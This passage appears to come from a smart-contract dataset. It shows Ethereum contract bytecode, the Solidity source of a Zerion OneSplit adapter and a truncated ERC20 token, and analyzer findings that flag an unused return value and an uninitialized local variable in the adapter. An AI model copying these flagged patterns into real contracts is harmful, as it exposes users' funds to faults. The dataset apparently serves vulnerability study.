ffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611acb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611e2657600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b5857508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611b6557806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611beb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611c71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611c7c868686612e39565b611ce784604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce8565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561214057600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611f96868686612e39565b61200184604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612094846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce7565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561255857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122425750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612297576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e846026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561231d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156123a3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b6123ae868686612e39565b61241984604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124ac846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce6565b60035481101561292a57600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612669576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156126ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612775576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b612780868686612e39565b6127eb84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce5565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806129d35750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e846026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b612b3f868686612e39565b612baa84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c3d846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612d9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d63578082015181840152602081019050612d48565b50505050905090810190601f168015612d905780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612e2f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220627a2a2dcddd383a3c51087bcbdd7eab3d3e7ecf123cf85620e59185e5ee717864736f6c63430006060033
{"success": true, "error": null, "results": {}}
4,819
0xae15b334a9fd56e41519cfa2c9351b1cebaf1b6d
// Copyright (C) 2020 Zerion Inc. <https://zerion.io> // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity 0.6.6; pragma experimental ABIEncoderV2; interface ERC20 { function approve(address, uint256) external returns (bool); function transfer(address, uint256) external returns (bool); function transferFrom(address, address, uint256) external returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address) external view returns (uint256); function allowance(address, address) external view returns (uint256); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token contract * returns false). Tokens that return no value (and instead revert or throw on failure) * are also supported, non-reverting calls are assumed to be successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer( ERC20 token, address to, uint256 value, string memory location ) internal { callOptionalReturn( token, abi.encodeWithSelector( token.transfer.selector, to, value ), "transfer", location ); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value, string memory location ) internal { callOptionalReturn( token, abi.encodeWithSelector( token.transferFrom.selector, from, to, value ), "transferFrom", location ); } function safeApprove( ERC20 token, address spender, uint256 value, string memory location ) internal { require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: wrong approve call" ); callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, value ), "approve", location ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), * relaxing the requirement on the return value: the return value is optional * (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). * @param location Location of the call (for debug). */ function callOptionalReturn( ERC20 token, bytes memory data, string memory functionName, string memory location ) private { // We need to perform a low level call here, to bypass Solidity's return data size checking // mechanism, since we're implementing it ourselves. // We implement two-steps call as callee is a contract is a responsibility of a caller. // 1. The call itself is made, and success asserted // 2. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require( success, string( abi.encodePacked( "SafeERC20: ", functionName, " failed in ", location ) ) ); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: false returned"); } } } struct Action { ActionType actionType; bytes32 protocolName; uint256 adapterIndex; address[] tokens; uint256[] amounts; AmountType[] amountTypes; bytes data; } enum ActionType { None, Deposit, Withdraw } enum AmountType { None, Relative, Absolute } /** * @title Protocol adapter interface. * @dev adapterType(), tokenType(), and getBalance() functions MUST be implemented. * @author Igor Sobolev <sobolev@zerion.io> */ abstract contract ProtocolAdapter { /** * @dev MUST return "Asset" or "Debt". * SHOULD be implemented by the public constant state variable. */ function adapterType() external pure virtual returns (bytes32); /** * @dev MUST return token type (default is "ERC20"). * SHOULD be implemented by the public constant state variable. */ function tokenType() external pure virtual returns (bytes32); /** * @dev MUST return amount of the given token locked on the protocol by the given account. */ function getBalance(address token, address account) public view virtual returns (uint256); } /** * @title Adapter for OneSplit exchange. * @dev Implementation of ProtocolAdapter interface. * @author Igor Sobolev <sobolev@zerion.io> */ contract OneSplitAdapter is ProtocolAdapter { bytes32 public constant override adapterType = "Exchange"; bytes32 public constant override tokenType = ""; /** * @return Amount of Uniswap pool tokens held by the given account. * @dev Implementation of ProtocolAdapter interface function. */ function getBalance(address, address) public view override returns (uint256) { revert("OSA: no balance!"); } } /** * @title Base contract for interactive protocol adapters. * @dev deposit() and withdraw() functions MUST be implemented * as well as all the functions from ProtocolAdapter interface. * @author Igor Sobolev <sobolev@zerion.io> */ abstract contract InteractiveAdapter is ProtocolAdapter { uint256 internal constant RELATIVE_AMOUNT_BASE = 1e18; address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /** * @dev The function must deposit assets to the protocol. * @return MUST return assets to be sent back to the `msg.sender`. */ function deposit( address[] memory tokens, uint256[] memory amounts, AmountType[] memory amountTypes, bytes memory data ) public payable virtual returns (address[] memory); /** * @dev The function must withdraw assets from the protocol. * @return MUST return assets to be sent back to the `msg.sender`. */ function withdraw( address[] memory tokens, uint256[] memory amounts, AmountType[] memory amountTypes, bytes memory data ) public payable virtual returns (address[] memory); function getAbsoluteAmountDeposit( address token, uint256 amount, AmountType amountType ) internal view virtual returns (uint256) { if (amountType == AmountType.Relative) { require(amount <= RELATIVE_AMOUNT_BASE, "L: wrong relative value!"); uint256 totalAmount; if (token == ETH) { totalAmount = address(this).balance; } else { totalAmount = ERC20(token).balanceOf(address(this)); } if (amount == RELATIVE_AMOUNT_BASE) { return totalAmount; } else { return totalAmount * amount / RELATIVE_AMOUNT_BASE; // TODO overflow check } } else { return amount; } } function getAbsoluteAmountWithdraw( address token, uint256 amount, AmountType amountType ) internal view virtual returns (uint256) { if (amountType == AmountType.Relative) { require(amount <= RELATIVE_AMOUNT_BASE, "L: wrong relative value!"); if (amount == RELATIVE_AMOUNT_BASE) { return getBalance(token, address(this)); } else { return getBalance(token, address(this)) * amount / RELATIVE_AMOUNT_BASE; // TODO overflow check } } else { return amount; } } } /** * @dev OneSplit contract interface. * Only the functions required for OneSplitInteractiveAdapter contract are added. * The OneSplit contract is available here * github.com/CryptoManiacsZone/1split/blob/master/contracts/OneSplit.sol. */ interface OneSplit { function swap( address, address, uint256, uint256, uint256[] calldata, uint256 ) external payable; function getExpectedReturn( address, address, uint256, uint256, uint256 ) external view returns (uint256, uint256[] memory); } /** * @title Interactive adapter for OneSplit exchange. * @dev Implementation of InteractiveAdapter abstract contract. * @author Igor Sobolev <sobolev@zerion.io> */ contract OneSplitInteractiveAdapter is InteractiveAdapter, OneSplitAdapter { using SafeERC20 for ERC20; address internal constant ONE_SPLIT = 0xC586BeF4a0992C495Cf22e1aeEE4E446CECDee0E; /** * @notice Exchanges tokens using OneSplit contract. * @param tokens Array with one element - `fromToken` address. * @param amounts Array with one element - token amount to be exchanged. * @param amountTypes Array with one element - amount type. * @param data Bytes array with ABI-encoded `toToken` address. * @return Asset sent back to the msg.sender. * @dev Implementation of InteractiveAdapter function. */ function deposit( address[] memory tokens, uint256[] memory amounts, AmountType[] memory amountTypes, bytes memory data ) public payable override returns (address[] memory) { require(tokens.length == 1, "OSIA: should be 1 token/amount/type!"); uint256 amount = getAbsoluteAmountDeposit(tokens[0], amounts[0], amountTypes[0]); address fromToken = tokens[0]; if (fromToken == ETH) { fromToken = address(0); } else { ERC20(fromToken).safeApprove(ONE_SPLIT, amount, "OSIA!"); } address[] memory tokensToBeWithdrawn; address toToken = abi.decode(data, (address)); if (toToken == ETH) { tokensToBeWithdrawn = new address[](0); toToken = address(0); } else { tokensToBeWithdrawn = new address[](1); tokensToBeWithdrawn[0] = toToken; } swap(fromToken, toToken, amount); return tokensToBeWithdrawn; } /** * @notice This function is unavailable in Exchange type adapters. * @dev Implementation of InteractiveAdapter function. */ function withdraw( address[] memory, uint256[] memory, AmountType[] memory, bytes memory ) public payable override returns (address[] memory) { revert("OSIA: no withdraw!"); } function swap(address fromToken, address toToken, uint256 amount) internal { uint256[] memory distribution; try OneSplit(ONE_SPLIT).getExpectedReturn( fromToken, toToken, amount, uint256(1), uint256(0x040df0) // 0x040dfc to enable curve; 0x04fdf0 to enable base exchanges; ) returns (uint256, uint256[] memory result) { distribution = result; } catch Error(string memory reason) { revert(reason); } catch (bytes memory) { revert("OSIA: 1split fail![1]"); } uint256 value = fromToken == address(0) ? amount : 0; try OneSplit(ONE_SPLIT).swap.value(value)( fromToken, toToken, amount, uint256(1), distribution, uint256(0x040df0) // 0x040dfc to enable curve; 0x04fdf0 to enable base exchanges; ) {} catch Error(string memory reason) { revert(reason); } catch (bytes memory) { revert("OSIA: 1split fail![2]"); } } }
0x60806040526004361061004a5760003560e01c806330fa738c1461004f57806343d068de1461007a578063c6219c751461009a578063d4fac45d146100ad578063f72c0791146100cd575b600080fd5b34801561005b57600080fd5b506100646100e2565b6040516100719190610ec6565b60405180910390f35b61008d610088366004610b2d565b6100e7565b6040516100719190610e79565b61008d6100a8366004610b2d565b6102b8565b3480156100b957600080fd5b506100646100c8366004610af5565b6102d2565b3480156100d957600080fd5b506100646102ec565b600081565b606084516001146101135760405162461bcd60e51b815260040161010a90610f2c565b60405180910390fd5b600061015c8660008151811061012557fe5b60200260200101518660008151811061013a57fe5b60200260200101518660008151811061014f57fe5b60200260200101516102fb565b905060008660008151811061016d57fe5b6020026020010151905073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6001600160a01b0316816001600160a01b031614156101ad575060006101fb565b6040805180820190915260058152644f5349412160d81b60208201526101fb906001600160a01b0383169073c586bef4a0992c495cf22e1aeee4e446cecdee0e90859063ffffffff61041b16565b60606000858060200190518101906102139190610ad9565b90506001600160a01b03811673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee141561025257505060408051600080825260208201909252906102a1565b6040805160018082528183019092529060208083019080368337019050509150808260008151811061028057fe5b60200260200101906001600160a01b031690816001600160a01b0316815250505b6102ac83828661053d565b50979650505050505050565b606060405162461bcd60e51b815260040161010a90611044565b600060405162461bcd60e51b815260040161010a90610f02565b6745786368616e676560c01b81565b6000600182600281111561030b57fe5b141561041157670de0b6b3a76400008311156103395760405162461bcd60e51b815260040161010a90610f70565b60006001600160a01b03851673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156103675750476103e6565b6040516370a0823160e01b81526001600160a01b038616906370a0823190610393903090600401610d87565b60206040518083038186803b1580156103ab57600080fd5b505afa1580156103bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103e39190610c56565b90505b670de0b6b3a76400008414156103fd579050610414565b670de0b6b3a7640000908402049050610414565b50815b9392505050565b8115806104a35750604051636eb1769f60e11b81526001600160a01b0385169063dd62ed3e906104519030908790600401610d9b565b60206040518083038186803b15801561046957600080fd5b505afa15801561047d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a19190610c56565b155b6104bf5760405162461bcd60e51b815260040161010a9061100d565b6105378463095ea7b360e01b85856040516024016104de929190610e60565b604051602081830303815290604052906001600160e01b0319166020820180516001600160e01b03838183161783525050505060405180604001604052806007815260200166617070726f766560c81b81525084610896565b50505050565b60405163085e2c5b60e01b815260609073c586bef4a0992c495cf22e1aeee4e446cecdee0e9063085e2c5b906105839087908790879060019062040df090600401610e2f565b60006040518083038186803b15801561059b57600080fd5b505afa9250505080156105d057506040513d6000823e601f3d908101601f191682016040526105cd9190810190610c6e565b60015b6106f6576040516000815260443d10156105ec57506000610689565b60046000803e60005160e01c6308c379a0811461060d576000915050610689565b60043d036004833e81513d602482011167ffffffffffffffff8211171561063957600092505050610689565b808301805167ffffffffffffffff81111561065b576000945050505050610689565b8060208301013d860181111561067957600095505050505050610689565b601f01601f191660405250925050505b8061069457506106ae565b8060405162461bcd60e51b815260040161010a9190610ecf565b3d8080156106d8576040519150601f19603f3d011682016040523d82523d6000602084013e6106dd565b606091505b5060405162461bcd60e51b815260040161010a90611070565b91505060006001600160a01b03851615610711576000610713565b825b604051637153a8af60e11b815290915073c586bef4a0992c495cf22e1aeee4e446cecdee0e9063e2a7515e90839061075d908990899089906001908a9062040df090600401610db5565b6000604051808303818588803b15801561077657600080fd5b505af193505050508015610788575060015b61088f576040516000815260443d10156107a457506000610841565b60046000803e60005160e01c6308c379a081146107c5576000915050610841565b60043d036004833e81513d602482011167ffffffffffffffff821117156107f157600092505050610841565b808301805167ffffffffffffffff811115610813576000945050505050610841565b8060208301013d860181111561083157600095505050505050610841565b601f01601f191660405250925050505b8061069457503d808015610871576040519150601f19603f3d011682016040523d82523d6000602084013e610876565b606091505b5060405162461bcd60e51b815260040161010a90610fde565b5050505050565b60006060856001600160a01b0316856040516108b29190610d0d565b6000604051808303816000865af19150503d80600081146108ef576040519150601f19603f3d011682016040523d82523d6000602084013e6108f4565b606091505b509150915081848460405160200161090d929190610d29565b6040516020818303038152906040529061093a5760405162461bcd60e51b815260040161010a9190610ecf565b5080511561097257808060200190518101906109569190610c36565b6109725760405162461bcd60e51b815260040161010a90610fa7565b505050505050565b803561098581611112565b92915050565b600082601f83011261099b578081fd5b81356109ae6109a9826110c6565b61109f565b8181529150602080830190848101818402860182018710156109cf57600080fd5b6000805b858110156109fb578235600381106109e9578283fd5b855293830193918301916001016109d3565b50505050505092915050565b600082601f830112610a17578081fd5b8135610a256109a9826110c6565b818152915060208083019084810181840286018201871015610a4657600080fd5b60005b84811015610a6557813584529282019290820190600101610a49565b505050505092915050565b600082601f830112610a80578081fd5b813567ffffffffffffffff811115610a96578182fd5b610aa9601f8201601f191660200161109f565b9150808252836020828501011115610ac057600080fd5b8060208401602084013760009082016020015292915050565b600060208284031215610aea578081fd5b815161041481611112565b60008060408385031215610b07578081fd5b8235610b1281611112565b91506020830135610b2281611112565b809150509250929050565b60008060008060808587031215610b42578182fd5b843567ffffffffffffffff80821115610b59578384fd5b81870188601f820112610b6a578485fd5b80359250610b7a6109a9846110c6565b80848252602080830192508084018c828389028701011115610b9a578889fd5b8894505b86851015610bc457610bb08d8261097a565b845260019490940193928101928101610b9e565b509098508901359350505080821115610bdb578384fd5b610be788838901610a07565b94506040870135915080821115610bfc578384fd5b610c088883890161098b565b93506060870135915080821115610c1d578283fd5b50610c2a87828801610a70565b91505092959194509250565b600060208284031215610c47578081fd5b81518015158114610414578182fd5b600060208284031215610c67578081fd5b5051919050565b60008060408385031215610c80578182fd5b8251915060208084015167ffffffffffffffff811115610c9e578283fd5b80850186601f820112610caf578384fd5b80519150610cbf6109a9836110c6565b82815283810190828501858502840186018a1015610cdb578687fd5b8693505b84841015610cfd578051835260019390930192918501918501610cdf565b5080955050505050509250929050565b60008251610d1f8184602087016110e6565b9190910192915050565b60006a029b0b332a2a92199181d160ad1b82528351610d4f81600b8501602088016110e6565b8083016a0103330b4b632b21034b7160ad1b600b82015284519150610d7b8260168301602088016110e6565b01601601949350505050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b0387811682528616602080830191909152604082018690526060820185905260c06080830181905284519083018190526000918581019160e085019190845b81811015610e1757845184529382019392820192600101610dfb565b50505060a09390930193909352509695505050505050565b6001600160a01b03958616815293909416602084015260408301919091526060820152608081019190915260a00190565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015610eba5783516001600160a01b031683529284019291840191600101610e95565b50909695505050505050565b90815260200190565b6000602082528251806020840152610eee8160408501602087016110e6565b601f01601f19169190910160400192915050565b60208082526010908201526f4f53413a206e6f2062616c616e63652160801b604082015260600190565b60208082526024908201527f4f5349413a2073686f756c64206265203120746f6b656e2f616d6f756e742f746040820152637970652160e01b606082015260800190565b60208082526018908201527f4c3a2077726f6e672072656c61746976652076616c7565210000000000000000604082015260600190565b60208082526019908201527f5361666545524332303a2066616c73652072657475726e656400000000000000604082015260600190565b6020808252601590820152744f5349413a203173706c6974206661696c215b325d60581b604082015260600190565b6020808252601d908201527f5361666545524332303a2077726f6e6720617070726f76652063616c6c000000604082015260600190565b6020808252601290820152714f5349413a206e6f2077697468647261772160701b604082015260600190565b6020808252601590820152744f5349413a203173706c6974206661696c215b315d60581b604082015260600190565b60405181810167ffffffffffffffff811182821017156110be57600080fd5b604052919050565b600067ffffffffffffffff8211156110dc578081fd5b5060209081020190565b60005b838110156111015781810151838201526020016110e9565b838111156105375750506000910152565b6001600160a01b038116811461112757600080fd5b5056fea26469706673582212208e6906f4098059edc2c690ebb3bdec6ff1f72ef46d7190143d8a62a2d10ceb7164736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
4,820
0x10977da1653f64681754e18c5afae823ff6bf26b
/** *Submitted for verification at Etherscan.io on 2021-11-05 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'BOOTSYCOIN' contract // // Symbol : BCC // Name : BOOTSYCOIN // Total supply: 1 000 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, 